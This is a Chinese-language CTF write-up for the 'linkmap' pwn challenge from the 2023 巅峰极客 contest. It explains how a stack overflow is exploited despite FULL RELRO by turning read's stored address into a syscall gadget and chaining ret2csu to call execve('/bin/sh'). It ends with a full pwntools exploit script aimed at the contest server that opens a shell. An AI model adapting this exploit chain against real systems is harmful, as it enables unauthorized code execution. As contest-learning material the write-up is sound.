2023巅峰极客

文章发布时间:

最后更新时间:

文章总字数:
877

预计阅读时间:
4 分钟

这次比赛难度比较大 只做出了一题 不过哪怕是这一题都有很大的收获 记录一下

linkmap

image-20230721153857449

开启了FULL RELRO 导致got表不可写 这将成为我们后续利用的一大阻碍

1
2
3
4
5
6
7
8
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

sub_40071B(a1, a2, a3);
read(0, buf, 0x100uLL);
return 0LL;
}

程序的主体逻辑非常简单 单单提供了一次栈溢出的机会

不过还给了几个看起来很奇怪的函数 我们发现他们的功能都是可以往bss段写入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_400606(int a1, int a2, int a3)
{
__int64 result; // rax
__int64 v4; // [rsp+14h] [rbp-8h]

v4 = *(_QWORD *)(qword_601040 + a1);
qword_601040 = v4;
result = (unsigned int)a1;
dword_601048 = a1;
if ( a2 == 1 )
{
result = v4;
qword_601028[a3] = v4;
}
else if ( !a2 )
{
result = v4;
qword_601020[a3] = v4;
}
return result;
}

重点观察一下上面的函数 前两行我们可以把任意地址的内容写到任意地址上

像这种没有提供输出函数的栈溢出题目 一般都是通过覆盖got表 要么是覆盖setvbuf来获得puts函数

要么是覆盖read函数来获得syscall 但是由于这题开启了got表 一开始我是想打消念头的

但是不知道你还记不记得 在栈的学习初期 我们学过ret2csu 其调用函数时通过call指令来调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004007C0                 mov     rdx, r13
.text:00000000004007C3 mov rsi, r14
.text:00000000004007C6 mov edi, r15d
.text:00000000004007C9 call qword ptr [r12+rbx*8]
.text:00000000004007CD add rbx, 1
.text:00000000004007D1 cmp rbx, rbp
.text:00000000004007D4 jnz short loc_4007C0
.text:00000000004007D6
.text:00000000004007D6 loc_4007D6: ; CODE XREF: init+34↑j
.text:00000000004007D6 add rsp, 8
.text:00000000004007DA pop rbx
.text:00000000004007DB pop rbp
.text:00000000004007DC pop r12
.text:00000000004007DE pop r13
.text:00000000004007E0 pop r14
.text:00000000004007E2 pop r15
.text:00000000004007E4 retn

这题之所以困扰我们 是因为开启了FULL RELRO导致的got表不可覆盖 那么如果我们利用漏洞函数把read函数的真实地址写到bss段 而bss段是可以写的 我们可以将其覆盖最后一位为syscall 随后利用ret2csu来调用 就可以达到目的

随后我们利用read函数输入0x3b个字节 就可以达到控制rax寄存器 随后设置rdi寄存器和rsi寄存器 最后调用syscall 就可以实现execve(“/bin/sh”,0)

难点主要在于无法同时进行read控制rax和ret2csu 这样会导致输入的长度过多 我们需要把ret2csu部分的payload单独放到其他内存 然后在控制完rax寄存器后跳转过去

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
from ctypes import *
#io = process("./pwn")
io = remote("pwn-b5c90fa468.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF("./pwn")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context.arch = "amd64"

def debug():
gdb.attach(io)
pause()

rdi_addr = 0x00000000004007e3
setvbuf_got = elf.got['setvbuf']
ptr_read = 0x400752
csu_addr = 0x4007DA
csu2_addr = 0x4007C0
main_addr = 0x400740
read_addr = elf.sym['read']
read_got = elf.got['read']
magic_addr = 0x601030
rbp_addr = 0x0000000000400570
rsp_addr = 0x00000000004007dd
a_addr = 0x40067c
rsi_r15 = 0x00000000004007e1
payload = cyclic(0x10)+p64(elf.bss(0x500)+0x10)+p64(ptr_read)
sleep(0.5)
io.send(payload)
payload = cyclic(0x8)+p64(ptr_read)+p64(elf.bss(0x500))+p64(rdi_addr)+p64(read_got)+p64(0x400606)+p64(ptr_read)
sleep(0.5)
io.send(payload)
payload = b'/bin/sh\x00'+cyclic(0x8)+p64(elf.bss(0xa00))+p64(ptr_read)+cyclic(0x10)+b'\x90'
sleep(0.5)
io.send(payload)


payload = cyclic(0x10)+p64(elf.bss(0x800))+p64(ptr_read)+p64(csu_addr)+p64(0)+p64(1)+p64(0x601530)+p64(0)+p64(0)+p64(0x601500)+p64(csu2_addr)
sleep(0.5)
io.send(payload)


payload = cyclic(0x10)+p64(elf.bss(0x800))+p64(read_addr)
sleep(0.5)
io.send(payload)


payload = p64(csu_addr)+cyclic(0x18)+p64(rsp_addr)+p64(elf.bss(0xa00)-0x8)+p64(0)+cyclic(0x3)
# gdb.attach(io,'b *0x4007C9')
# pause(0)
sleep(0.5)
io.send(payload)
# pause()
io.interactive()